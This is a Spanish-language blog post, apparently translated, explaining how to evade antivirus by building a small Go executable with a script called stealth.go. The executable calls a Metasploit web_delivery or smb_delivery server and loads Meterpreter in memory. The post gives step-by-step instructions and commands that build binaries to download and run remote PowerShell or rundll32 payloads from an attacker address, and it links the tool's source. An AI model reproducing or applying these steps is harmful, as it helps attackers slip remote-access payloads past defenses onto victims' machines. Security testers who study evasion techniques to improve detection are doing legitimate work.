Thursday, September 28, 2017

Evadiendo el AV con Golang

Evadiendo el AV con Golang


Metasploit tiene dos excelentes m�dulos dise�ados para actualizar una simple shell a Meterpreter mediante una llamada a un servidor Web o servidor SMB. El primer m�dulo es exploit/multi/script/web_delivery y el otro es exploit/windows/smb/smb_delivery.  Utilizando estos m�dulos se puede ejecutar un comando Powershell, PHP, Python o Rundll para actualizar el shell existente a meterpreter.

Pero, �qu� sucede si no tenemos previamente una shell y s�lo podemos llamar a un ejecutable?. Podr�amos crear un meterpreter u otro payload pero al subirlo y escribirlo en disco es muy probable que el antivirus lo detecte. Pero, �y si creamos un ejecutable muy simple que s�lo haga la llamada necesaria a web_delivery o smb_delivery y luego cargue meterpreter en memoria? Este ejecutable probablemente no ser� detectado por el AV...

El script stealth.go hace exactamente eso. Toma unos pocos par�metros, el tipo de payload deseado, el servidor Metasploit y el puerto, y un nombre de carpeta y crea un peque�o ejecutable de Golang que hace la llamada apropiada a Metasploit.

Para usar el script necesitaremos una versi�n reciente de Golang y seguir unos sencillos pasos:

1.- Configura el m�dulo Metasploit web_delivery o smb_delivery seg�n lo deseado. Ten en cuenta que para el m�dulo web_delivery se necesita establecer el par�metro URIPATH y en el m�dulo smb_delivery se debe establecer el par�metro SHARE y dejar sin configurar el par�metro FOLDER_NAME.

2.- Ejecuta el m�dulo stealth.go para crear un binario llamado shell (* nix) o shell.exe (Windows):

    go run stealth.go ps 10.10.10.1 8080 test

Esto construir� un ejecutable que har� una llamada de Powershell para descargar y ejecutar c�digo desde http://10.10.10.1:8080/test.

  go run stealth.go smb 10.10.10.1 445 test

Y esto construir� un ejecutable que har� una llamada rundll32 a 10.10.10.1 est y ejecutar� el payload entregado.

3.- Ejecuta shell o shell.exe y comprueba en Metasploit si tenemos la sesi�n Meterpreter.

El c�digo stealth.go se puede encontrar en Github:  https://github.com/averagesecurityguy/scripts/blob/master/stealth.go

Fuente: Bypassing AntiVirus with Golang


download file now